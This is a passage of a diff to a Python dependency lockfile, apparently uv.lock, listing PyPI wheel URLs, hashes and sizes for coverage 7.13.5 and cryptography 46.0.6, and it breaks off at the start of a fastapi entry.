upload-time = "2026-03-17T10:32:08.589Z" }, + { url = "https://files.pythonhosted.org/packages/e2/3e/51dff36d99ae14639a133d9b164d63e628532e2974d8b1edb99dd1ebc733/coverage-7.13.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:9bb2a28101a443669a423b665939381084412b81c3f8c0fcfbac57f4e30b5b8e", size = 219953, upload-time = "2026-03-17T10:32:10.507Z" }, + { url = "https://files.pythonhosted.org/packages/6a/6c/1f1917b01eb647c2f2adc9962bd66c79eb978951cab61bdc1acab3290c07/coverage-7.13.5-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bd3a2fbc1c6cccb3c5106140d87cc6a8715110373ef42b63cf5aea29df8c217a", size = 250992, upload-time = "2026-03-17T10:32:12.41Z" }, + { url = "https://files.pythonhosted.org/packages/22/e5/06b1f88f42a5a99df42ce61208bdec3bddb3d261412874280a19796fc09c/coverage-7.13.5-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:6c36ddb64ed9d7e496028d1d00dfec3e428e0aabf4006583bb1839958d280510", size = 253503, upload-time = "2026-03-17T10:32:14.449Z" }, + { url = "https://files.pythonhosted.org/packages/80/28/2a148a51e5907e504fa7b85490277734e6771d8844ebcc48764a15e28155/coverage-7.13.5-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:380e8e9084d8eb38db3a9176a1a4f3c0082c3806fa0dc882d1d87abc3c789247", size = 254852, upload-time = "2026-03-17T10:32:16.56Z" }, + { url = "https://files.pythonhosted.org/packages/61/77/50e8d3d85cc0b7ebe09f30f151d670e302c7ff4a1bf6243f71dd8b0981fa/coverage-7.13.5-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e808af52a0513762df4d945ea164a24b37f2f518cbe97e03deaa0ee66139b4d6", size = 257161, upload-time = "2026-03-17T10:32:19.004Z" }, + { url = "https://files.pythonhosted.org/packages/3b/c4/b5fd1d4b7bf8d0e75d997afd3925c59ba629fc8616f1b3aae7605132e256/coverage-7.13.5-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e301d30dd7e95ae068671d746ba8c34e945a82682e62918e41b2679acd2051a0", size = 251021, upload-time = "2026-03-17T10:32:21.344Z" }, + { url = "https://files.pythonhosted.org/packages/f8/66/6ea21f910e92d69ef0b1c3346ea5922a51bad4446c9126db2ae96ee24c4c/coverage-7.13.5-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:800bc829053c80d240a687ceeb927a94fd108bbdc68dfbe505d0d75ab578a882", size = 252858, upload-time = "2026-03-17T10:32:23.506Z" }, + { url = "https://files.pythonhosted.org/packages/9e/ea/879c83cb5d61aa2a35fb80e72715e92672daef8191b84911a643f533840c/coverage-7.13.5-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:0b67af5492adb31940ee418a5a655c28e48165da5afab8c7fa6fd72a142f8740", size = 250823, upload-time = "2026-03-17T10:32:25.516Z" }, + { url = "https://files.pythonhosted.org/packages/8a/fb/616d95d3adb88b9803b275580bdeee8bd1b69a886d057652521f83d7322f/coverage-7.13.5-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c9136ff29c3a91e25b1d1552b5308e53a1e0653a23e53b6366d7c2dcbbaf8a16", size = 255099, upload-time = "2026-03-17T10:32:27.944Z" }, + { url = "https://files.pythonhosted.org/packages/1c/93/25e6917c90ec1c9a56b0b26f6cad6408e5f13bb6b35d484a0d75c9cf000d/coverage-7.13.5-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:cff784eef7f0b8f6cb28804fbddcfa99f89efe4cc35fb5627e3ac58f91ed3ac0", size = 250638, upload-time = "2026-03-17T10:32:29.914Z" }, + { url = "https://files.pythonhosted.org/packages/fc/7b/dc1776b0464145a929deed214aef9fb1493f159b59ff3c7eeeedf91eddd0/coverage-7.13.5-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:68a4953be99b17ac3c23b6efbc8a38330d99680c9458927491d18700ef23ded0", size = 252295, upload-time = "2026-03-17T10:32:31.981Z" }, + { url = "https://files.pythonhosted.org/packages/ea/fb/99cbbc56a26e07762a2740713f3c8f9f3f3106e3a3dd8cc4474954bccd34/coverage-7.13.5-cp314-cp314-win32.whl", hash = "sha256:35a31f2b1578185fbe6aa2e74cea1b1d0bbf4c552774247d9160d29b80ed56cc", size = 222360, upload-time = "2026-03-17T10:32:34.233Z" }, + { url = "https://files.pythonhosted.org/packages/8d/b7/4758d4f73fb536347cc5e4ad63662f9d60ba9118cb6785e9616b2ce5d7fa/coverage-7.13.5-cp314-cp314-win_amd64.whl", hash = "sha256:2aa055ae1857258f9e0045be26a6d62bdb47a72448b62d7b55f4820f361a2633", size = 223174, upload-time = "2026-03-17T10:32:36.369Z" }, + { url = "https://files.pythonhosted.org/packages/2c/f2/24d84e1dfe70f8ac9fdf30d338239860d0d1d5da0bda528959d0ebc9da28/coverage-7.13.5-cp314-cp314-win_arm64.whl", hash = "sha256:1b11eef33edeae9d142f9b4358edb76273b3bfd30bc3df9a4f95d0e49caf94e8", size = 221739, upload-time = "2026-03-17T10:32:38.736Z" }, + { url = "https://files.pythonhosted.org/packages/60/5b/4a168591057b3668c2428bff25dd3ebc21b629d666d90bcdfa0217940e84/coverage-7.13.5-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:10a0c37f0b646eaff7cce1874c31d1f1ccb297688d4c747291f4f4c70741cc8b", size = 220351, upload-time = "2026-03-17T10:32:41.196Z" }, + { url = "https://files.pythonhosted.org/packages/f5/21/1fd5c4dbfe4a58b6b99649125635df46decdfd4a784c3cd6d410d303e370/coverage-7.13.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b5db73ba3c41c7008037fa731ad5459fc3944cb7452fc0aa9f822ad3533c583c", size = 220612, upload-time = "2026-03-17T10:32:43.204Z" }, + { url = "https://files.pythonhosted.org/packages/d6/fe/2a924b3055a5e7e4512655a9d4609781b0d62334fa0140c3e742926834e2/coverage-7.13.5-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:750db93a81e3e5a9831b534be7b1229df848b2e125a604fe6651e48aa070e5f9", size = 261985, upload-time = "2026-03-17T10:32:45.514Z" }, + { url = "https://files.pythonhosted.org/packages/d7/0d/c8928f2bd518c45990fe1a2ab8db42e914ef9b726c975facc4282578c3eb/coverage-7.13.5-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9ddb4f4a5479f2539644be484da179b653273bca1a323947d48ab107b3ed1f29", size = 264107, upload-time = "2026-03-17T10:32:47.971Z" }, + { url = "https://files.pythonhosted.org/packages/ef/ae/4ae35bbd9a0af9d820362751f0766582833c211224b38665c0f8de3d487f/coverage-7.13.5-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d8a7a2049c14f413163e2bdabd37e41179b1d1ccb10ffc6ccc4b7a718429c607", size = 266513, upload-time = "2026-03-17T10:32:50.1Z" }, + { url = "https://files.pythonhosted.org/packages/9c/20/d326174c55af36f74eac6ae781612d9492f060ce8244b570bb9d50d9d609/coverage-7.13.5-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1c85e0b6c05c592ea6d8768a66a254bfb3874b53774b12d4c89c481eb78cb90", size = 267650, upload-time = "2026-03-17T10:32:52.391Z" }, + { url = "https://files.pythonhosted.org/packages/7a/5e/31484d62cbd0eabd3412e30d74386ece4a0837d4f6c3040a653878bfc019/coverage-7.13.5-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:777c4d1eff1b67876139d24288aaf1817f6c03d6bae9c5cc8d27b83bcfe38fe3", size = 261089, upload-time = "2026-03-17T10:32:54.544Z" }, + { url = "https://files.pythonhosted.org/packages/e9/d8/49a72d6de146eebb0b7e48cc0f4bc2c0dd858e3d4790ab2b39a2872b62bd/coverage-7.13.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:6697e29b93707167687543480a40f0db8f356e86d9f67ddf2e37e2dfd91a9dab", size = 263982, upload-time = "2026-03-17T10:32:56.803Z" }, + { url = "https://files.pythonhosted.org/packages/06/3b/0351f1bd566e6e4dd39e978efe7958bde1d32f879e85589de147654f57bb/coverage-7.13.5-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:8fdf453a942c3e4d99bd80088141c4c6960bb232c409d9c3558e2dbaa3998562", size = 261579, upload-time = "2026-03-17T10:32:59.466Z" }, + { url = "https://files.pythonhosted.org/packages/5d/ce/796a2a2f4017f554d7810f5c573449b35b1e46788424a548d4d19201b222/coverage-7.13.5-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:32ca0c0114c9834a43f045a87dcebd69d108d8ffb666957ea65aa132f50332e2", size = 265316, upload-time = "2026-03-17T10:33:01.847Z" }, + { url = "https://files.pythonhosted.org/packages/3d/16/d5ae91455541d1a78bc90abf495be600588aff8f6db5c8b0dae739fa39c9/coverage-7.13.5-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:8769751c10f339021e2638cd354e13adeac54004d1941119b2c96fe5276d45ea", size = 260427, upload-time = "2026-03-17T10:33:03.945Z" }, + { url = "https://files.pythonhosted.org/packages/48/11/07f413dba62db21fb3fad5d0de013a50e073cc4e2dc4306e770360f6dfc8/coverage-7.13.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cec2d83125531bd153175354055cdb7a09987af08a9430bd173c937c6d0fba2a", size = 262745, upload-time = "2026-03-17T10:33:06.285Z" }, + { url = "https://files.pythonhosted.org/packages/91/15/d792371332eb4663115becf4bad47e047d16234b1aff687b1b18c58d60ae/coverage-7.13.5-cp314-cp314t-win32.whl", hash = "sha256:0cd9ed7a8b181775459296e402ca4fb27db1279740a24e93b3b41942ebe4b215", size = 223146, upload-time = "2026-03-17T10:33:08.756Z" }, + { url = "https://files.pythonhosted.org/packages/db/51/37221f59a111dca5e85be7dbf09696323b5b9f13ff65e0641d535ed06ea8/coverage-7.13.5-cp314-cp314t-win_amd64.whl", hash = "sha256:301e3b7dfefecaca37c9f1aa6f0049b7d4ab8dd933742b607765d757aca77d43", size = 224254, upload-time = "2026-03-17T10:33:11.174Z" }, + { url = "https://files.pythonhosted.org/packages/54/83/6acacc889de8987441aa7d5adfbdbf33d288dad28704a67e574f1df9bcbb/coverage-7.13.5-cp314-cp314t-win_arm64.whl", hash = "sha256:9dacc2ad679b292709e0f5fc1ac74a6d4d5562e424058962c7bb0c658ad25e45", size = 222276, upload-time = "2026-03-17T10:33:13.466Z" }, + { url = "https://files.pythonhosted.org/packages/9e/ee/a4cf96b8ce1e566ed238f0659ac2d3f007ed1d14b181bcb684e19561a69a/coverage-7.13.5-py3-none-any.whl", hash = "sha256:34b02417cf070e173989b3db962f7ed56d2f644307b2cf9d5a0f258e13084a61", size = 211346, upload-time = "2026-03-17T10:33:15.691Z" }, +] + +[[package]] +name = "cryptography" +version = "46.0.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a4/ba/04b1bd4218cbc58dc90ce967106d51582371b898690f3ae0402876cc4f34/cryptography-46.0.6.tar.gz", hash = "sha256:27550628a518c5c6c903d84f637fbecf287f6cb9ced3804838a1295dc1fd0759", size = 750542, upload-time = "2026-03-25T23:34:53.396Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/47/23/9285e15e3bc57325b0a72e592921983a701efc1ee8f91c06c5f0235d86d9/cryptography-46.0.6-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:64235194bad039a10bb6d2d930ab3323baaec67e2ce36215fd0952fad0930ca8", size = 7176401, upload-time = "2026-03-25T23:33:22.096Z" }, + { url = "https://files.pythonhosted.org/packages/60/f8/e61f8f13950ab6195b31913b42d39f0f9afc7d93f76710f299b5ec286ae6/cryptography-46.0.6-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:26031f1e5ca62fcb9d1fcb34b2b60b390d1aacaa15dc8b895a9ed00968b97b30", size = 4275275, upload-time = "2026-03-25T23:33:23.844Z" }, + { url = "https://files.pythonhosted.org/packages/19/69/732a736d12c2631e140be2348b4ad3d226302df63ef64d30dfdb8db7ad1c/cryptography-46.0.6-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9a693028b9cbe51b5a1136232ee8f2bc242e4e19d456ded3fa7c86e43c713b4a", size = 4425320, upload-time = "2026-03-25T23:33:25.703Z" }, + { url = "https://files.pythonhosted.org/packages/d4/12/123be7292674abf76b21ac1fc0e1af50661f0e5b8f0ec8285faac18eb99e/cryptography-46.0.6-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:67177e8a9f421aa2d3a170c3e56eca4e0128883cf52a071a7cbf53297f18b175", size = 4278082, upload-time = "2026-03-25T23:33:27.423Z" }, + { url = "https://files.pythonhosted.org/packages/5b/ba/d5e27f8d68c24951b0a484924a84c7cdaed7502bac9f18601cd357f8b1d2/cryptography-46.0.6-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:d9528b535a6c4f8ff37847144b8986a9a143585f0540fbcb1a98115b543aa463", size = 4926514, upload-time = "2026-03-25T23:33:29.206Z" }, + { url = "https://files.pythonhosted.org/packages/34/71/1ea5a7352ae516d5512d17babe7e1b87d9db5150b21f794b1377eac1edc0/cryptography-46.0.6-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:22259338084d6ae497a19bae5d4c66b7ca1387d3264d1c2c0e72d9e9b6a77b97", size = 4457766, upload-time = "2026-03-25T23:33:30.834Z" }, + { url = "https://files.pythonhosted.org/packages/01/59/562be1e653accee4fdad92c7a2e88fced26b3fdfce144047519bbebc299e/cryptography-46.0.6-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:760997a4b950ff00d418398ad73fbc91aa2894b5c1db7ccb45b4f68b42a63b3c", size = 3986535, upload-time = "2026-03-25T23:33:33.02Z" }, + { url = "https://files.pythonhosted.org/packages/d6/8b/b1ebfeb788bf4624d36e45ed2662b8bd43a05ff62157093c1539c1288a18/cryptography-46.0.6-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:3dfa6567f2e9e4c5dceb8ccb5a708158a2a871052fa75c8b78cb0977063f1507", size = 4277618, upload-time = "2026-03-25T23:33:34.567Z" }, + { url = "https://files.pythonhosted.org/packages/dd/52/a005f8eabdb28df57c20f84c44d397a755782d6ff6d455f05baa2785bd91/cryptography-46.0.6-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:cdcd3edcbc5d55757e5f5f3d330dd00007ae463a7e7aa5bf132d1f22a4b62b19", size = 4890802, upload-time = "2026-03-25T23:33:37.034Z" }, + { url = "https://files.pythonhosted.org/packages/ec/4d/8e7d7245c79c617d08724e2efa397737715ca0ec830ecb3c91e547302555/cryptography-46.0.6-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:d4e4aadb7fc1f88687f47ca20bb7227981b03afaae69287029da08096853b738", size = 4457425, upload-time = "2026-03-25T23:33:38.904Z" }, + { url = "https://files.pythonhosted.org/packages/1d/5c/f6c3596a1430cec6f949085f0e1a970638d76f81c3ea56d93d564d04c340/cryptography-46.0.6-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2b417edbe8877cda9022dde3a008e2deb50be9c407eef034aeeb3a8b11d9db3c", size = 4405530, upload-time = "2026-03-25T23:33:40.842Z" }, + { url = "https://files.pythonhosted.org/packages/7e/c9/9f9cea13ee2dbde070424e0c4f621c091a91ffcc504ffea5e74f0e1daeff/cryptography-46.0.6-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:380343e0653b1c9d7e1f55b52aaa2dbb2fdf2730088d48c43ca1c7c0abb7cc2f", size = 4667896, upload-time = "2026-03-25T23:33:42.781Z" }, + { url = "https://files.pythonhosted.org/packages/ad/b5/1895bc0821226f129bc74d00eccfc6a5969e2028f8617c09790bf89c185e/cryptography-46.0.6-cp311-abi3-win32.whl", hash = "sha256:bcb87663e1f7b075e48c3be3ecb5f0b46c8fc50b50a97cf264e7f60242dca3f2", size = 3026348, upload-time = "2026-03-25T23:33:45.021Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f8/c9bcbf0d3e6ad288b9d9aa0b1dee04b063d19e8c4f871855a03ab3a297ab/cryptography-46.0.6-cp311-abi3-win_amd64.whl", hash = "sha256:6739d56300662c468fddb0e5e291f9b4d084bead381667b9e654c7dd81705124", size = 3483896, upload-time = "2026-03-25T23:33:46.649Z" }, + { url = "https://files.pythonhosted.org/packages/01/41/3a578f7fd5c70611c0aacba52cd13cb364a5dee895a5c1d467208a9380b0/cryptography-46.0.6-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:2ef9e69886cbb137c2aef9772c2e7138dc581fad4fcbcf13cc181eb5a3ab6275", size = 7117147, upload-time = "2026-03-25T23:33:48.249Z" }, + { url = "https://files.pythonhosted.org/packages/fa/87/887f35a6fca9dde90cad08e0de0c89263a8e59b2d2ff904fd9fcd8025b6f/cryptography-46.0.6-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7f417f034f91dcec1cb6c5c35b07cdbb2ef262557f701b4ecd803ee8cefed4f4", size = 4266221, upload-time = "2026-03-25T23:33:49.874Z" }, + { url = "https://files.pythonhosted.org/packages/aa/a8/0a90c4f0b0871e0e3d1ed126aed101328a8a57fd9fd17f00fb67e82a51ca/cryptography-46.0.6-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d24c13369e856b94892a89ddf70b332e0b70ad4a5c43cf3e9cb71d6d7ffa1f7b", size = 4408952, upload-time = "2026-03-25T23:33:52.128Z" }, + { url = "https://files.pythonhosted.org/packages/16/0b/b239701eb946523e4e9f329336e4ff32b1247e109cbab32d1a7b61da8ed7/cryptography-46.0.6-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:aad75154a7ac9039936d50cf431719a2f8d4ed3d3c277ac03f3339ded1a5e707", size = 4270141, upload-time = "2026-03-25T23:33:54.11Z" }, + { url = "https://files.pythonhosted.org/packages/0f/a8/976acdd4f0f30df7b25605f4b9d3d89295351665c2091d18224f7ad5cdbf/cryptography-46.0.6-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:3c21d92ed15e9cfc6eb64c1f5a0326db22ca9c2566ca46d845119b45b4400361", size = 4904178, upload-time = "2026-03-25T23:33:55.725Z" }, + { url = "https://files.pythonhosted.org/packages/b1/1b/bf0e01a88efd0e59679b69f42d4afd5bced8700bb5e80617b2d63a3741af/cryptography-46.0.6-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:4668298aef7cddeaf5c6ecc244c2302a2b8e40f384255505c22875eebb47888b", size = 4441812, upload-time = "2026-03-25T23:33:57.364Z" }, + { url = "https://files.pythonhosted.org/packages/bb/8b/11df86de2ea389c65aa1806f331cae145f2ed18011f30234cc10ca253de8/cryptography-46.0.6-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:8ce35b77aaf02f3b59c90b2c8a05c73bac12cea5b4e8f3fbece1f5fddea5f0ca", size = 3963923, upload-time = "2026-03-25T23:33:59.361Z" }, + { url = "https://files.pythonhosted.org/packages/91/e0/207fb177c3a9ef6a8108f234208c3e9e76a6aa8cf20d51932916bd43bda0/cryptography-46.0.6-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:c89eb37fae9216985d8734c1afd172ba4927f5a05cfd9bf0e4863c6d5465b013", size = 4269695, upload-time = "2026-03-25T23:34:00.909Z" }, + { url = "https://files.pythonhosted.org/packages/21/5e/19f3260ed1e95bced52ace7501fabcd266df67077eeb382b79c81729d2d3/cryptography-46.0.6-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:ed418c37d095aeddf5336898a132fba01091f0ac5844e3e8018506f014b6d2c4", size = 4869785, upload-time = "2026-03-25T23:34:02.796Z" }, + { url = "https://files.pythonhosted.org/packages/10/38/cd7864d79aa1d92ef6f1a584281433419b955ad5a5ba8d1eb6c872165bcb/cryptography-46.0.6-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:69cf0056d6947edc6e6760e5f17afe4bea06b56a9ac8a06de9d2bd6b532d4f3a", size = 4441404, upload-time = "2026-03-25T23:34:04.35Z" }, + { url = "https://files.pythonhosted.org/packages/09/0a/4fe7a8d25fed74419f91835cf5829ade6408fd1963c9eae9c4bce390ecbb/cryptography-46.0.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8e7304c4f4e9490e11efe56af6713983460ee0780f16c63f219984dab3af9d2d", size = 4397549, upload-time = "2026-03-25T23:34:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/5f/a0/7d738944eac6513cd60a8da98b65951f4a3b279b93479a7e8926d9cd730b/cryptography-46.0.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:b928a3ca837c77a10e81a814a693f2295200adb3352395fad024559b7be7a736", size = 4651874, upload-time = "2026-03-25T23:34:07.916Z" }, + { url = "https://files.pythonhosted.org/packages/cb/f1/c2326781ca05208845efca38bf714f76939ae446cd492d7613808badedf1/cryptography-46.0.6-cp314-cp314t-win32.whl", hash = "sha256:97c8115b27e19e592a05c45d0dd89c57f81f841cc9880e353e0d3bf25b2139ed", size = 3001511, upload-time = "2026-03-25T23:34:09.892Z" }, + { url = "https://files.pythonhosted.org/packages/c9/57/fe4a23eb549ac9d903bd4698ffda13383808ef0876cc912bcb2838799ece/cryptography-46.0.6-cp314-cp314t-win_amd64.whl", hash = "sha256:c797e2517cb7880f8297e2c0f43bb910e91381339336f75d2c1c2cbf811b70b4", size = 3471692, upload-time = "2026-03-25T23:34:11.613Z" }, + { url = "https://files.pythonhosted.org/packages/c4/cc/f330e982852403da79008552de9906804568ae9230da8432f7496ce02b71/cryptography-46.0.6-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:12cae594e9473bca1a7aceb90536060643128bb274fcea0fc459ab90f7d1ae7a", size = 7162776, upload-time = "2026-03-25T23:34:13.308Z" }, + { url = "https://files.pythonhosted.org/packages/49/b3/dc27efd8dcc4bff583b3f01d4a3943cd8b5821777a58b3a6a5f054d61b79/cryptography-46.0.6-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:639301950939d844a9e1c4464d7e07f902fe9a7f6b215bb0d4f28584729935d8", size = 4270529, upload-time = "2026-03-25T23:34:15.019Z" }, + { url = "https://files.pythonhosted.org/packages/e6/05/e8d0e6eb4f0d83365b3cb0e00eb3c484f7348db0266652ccd84632a3d58d/cryptography-46.0.6-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ed3775295fb91f70b4027aeba878d79b3e55c0b3e97eaa4de71f8f23a9f2eb77", size = 4414827, upload-time = "2026-03-25T23:34:16.604Z" }, + { url = "https://files.pythonhosted.org/packages/2f/97/daba0f5d2dc6d855e2dcb70733c812558a7977a55dd4a6722756628c44d1/cryptography-46.0.6-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:8927ccfbe967c7df312ade694f987e7e9e22b2425976ddbf28271d7e58845290", size = 4271265, upload-time = "2026-03-25T23:34:18.586Z" }, + { url = "https://files.pythonhosted.org/packages/89/06/fe1fce39a37ac452e58d04b43b0855261dac320a2ebf8f5260dd55b201a9/cryptography-46.0.6-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:b12c6b1e1651e42ab5de8b1e00dc3b6354fdfd778e7fa60541ddacc27cd21410", size = 4916800, upload-time = "2026-03-25T23:34:20.561Z" }, + { url = "https://files.pythonhosted.org/packages/ff/8a/b14f3101fe9c3592603339eb5d94046c3ce5f7fc76d6512a2d40efd9724e/cryptography-46.0.6-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:063b67749f338ca9c5a0b7fe438a52c25f9526b851e24e6c9310e7195aad3b4d", size = 4448771, upload-time = "2026-03-25T23:34:22.406Z" }, + { url = "https://files.pythonhosted.org/packages/01/b3/0796998056a66d1973fd52ee89dc1bb3b6581960a91ad4ac705f182d398f/cryptography-46.0.6-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:02fad249cb0e090b574e30b276a3da6a149e04ee2f049725b1f69e7b8351ec70", size = 3978333, upload-time = "2026-03-25T23:34:24.281Z" }, + { url = "https://files.pythonhosted.org/packages/c5/3d/db200af5a4ffd08918cd55c08399dc6c9c50b0bc72c00a3246e099d3a849/cryptography-46.0.6-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:7e6142674f2a9291463e5e150090b95a8519b2fb6e6aaec8917dd8d094ce750d", size = 4271069, upload-time = "2026-03-25T23:34:25.895Z" }, + { url = "https://files.pythonhosted.org/packages/d7/18/61acfd5b414309d74ee838be321c636fe71815436f53c9f0334bf19064fa/cryptography-46.0.6-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:456b3215172aeefb9284550b162801d62f5f264a081049a3e94307fe20792cfa", size = 4878358, upload-time = "2026-03-25T23:34:27.67Z" }, + { url = "https://files.pythonhosted.org/packages/8b/65/5bf43286d566f8171917cae23ac6add941654ccf085d739195a4eacf1674/cryptography-46.0.6-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:341359d6c9e68834e204ceaf25936dffeafea3829ab80e9503860dcc4f4dac58", size = 4448061, upload-time = "2026-03-25T23:34:29.375Z" }, + { url = "https://files.pythonhosted.org/packages/e0/25/7e49c0fa7205cf3597e525d156a6bce5b5c9de1fd7e8cb01120e459f205a/cryptography-46.0.6-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9a9c42a2723999a710445bc0d974e345c32adfd8d2fac6d8a251fa829ad31cfb", size = 4399103, upload-time = "2026-03-25T23:34:32.036Z" }, + { url = "https://files.pythonhosted.org/packages/44/46/466269e833f1c4718d6cd496ffe20c56c9c8d013486ff66b4f69c302a68d/cryptography-46.0.6-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6617f67b1606dfd9fe4dbfa354a9508d4a6d37afe30306fe6c101b7ce3274b72", size = 4659255, upload-time = "2026-03-25T23:34:33.679Z" }, + { url = "https://files.pythonhosted.org/packages/0a/09/ddc5f630cc32287d2c953fc5d32705e63ec73e37308e5120955316f53827/cryptography-46.0.6-cp38-abi3-win32.whl", hash = "sha256:7f6690b6c55e9c5332c0b59b9c8a3fb232ebf059094c17f9019a51e9827df91c", size = 3010660, upload-time = "2026-03-25T23:34:35.418Z" }, + { url = "https://files.pythonhosted.org/packages/1b/82/ca4893968aeb2709aacfb57a30dec6fa2ab25b10fa9f064b8882ce33f599/cryptography-46.0.6-cp38-abi3-win_amd64.whl", hash = "sha256:79e865c642cfc5c0b3eb12af83c35c5aeff4fa5c672dc28c43721c2c9fdd2f0f", size = 3471160, upload-time = "2026-03-25T23:34:37.191Z" }, + { url = "https://files.pythonhosted.org/packages/2e/84/7ccff00ced5bac74b775ce0beb7d1be4e8637536b522b5df9b73ada42da2/cryptography-46.0.6-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:2ea0f37e9a9cf0df2952893ad145fd9627d326a59daec9b0802480fa3bcd2ead", size = 3475444, upload-time = "2026-03-25T23:34:38.944Z" }, + { url = "https://files.pythonhosted.org/packages/bc/1f/4c926f50df7749f000f20eede0c896769509895e2648db5da0ed55db711d/cryptography-46.0.6-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:a3e84d5ec9ba01f8fd03802b2147ba77f0c8f2617b2aff254cedd551844209c8", size = 4218227, upload-time = "2026-03-25T23:34:40.871Z" }, + { url = "https://files.pythonhosted.org/packages/c6/65/707be3ffbd5f786028665c3223e86e11c4cda86023adbc56bd72b1b6bab5/cryptography-46.0.6-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:12f0fa16cc247b13c43d56d7b35287ff1569b5b1f4c5e87e92cc4fcc00cd10c0", size = 4381399, upload-time = "2026-03-25T23:34:42.609Z" }, + { url = "https://files.pythonhosted.org/packages/f3/6d/73557ed0ef7d73d04d9aba745d2c8e95218213687ee5e76b7d236a5030fc/cryptography-46.0.6-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:50575a76e2951fe7dbd1f56d181f8c5ceeeb075e9ff88e7ad997d2f42af06e7b", size = 4217595, upload-time = "2026-03-25T23:34:44.205Z" }, + { url = "https://files.pythonhosted.org/packages/9e/c5/e1594c4eec66a567c3ac4400008108a415808be2ce13dcb9a9045c92f1a0/cryptography-46.0.6-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:90e5f0a7b3be5f40c3a0a0eafb32c681d8d2c181fc2a1bdabe9b3f611d9f6b1a", size = 4380912, upload-time = "2026-03-25T23:34:46.328Z" }, + { url = "https://files.pythonhosted.org/packages/1a/89/843b53614b47f97fe1abc13f9a86efa5ec9e275292c457af1d4a60dc80e0/cryptography-46.0.6-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:6728c49e3b2c180ef26f8e9f0a883a2c585638db64cf265b49c9ba10652d430e", size = 3409955, upload-time = "2026-03-25T23:34:48.465Z" }, +] + +[[package]] +name = "fastapi" +version = 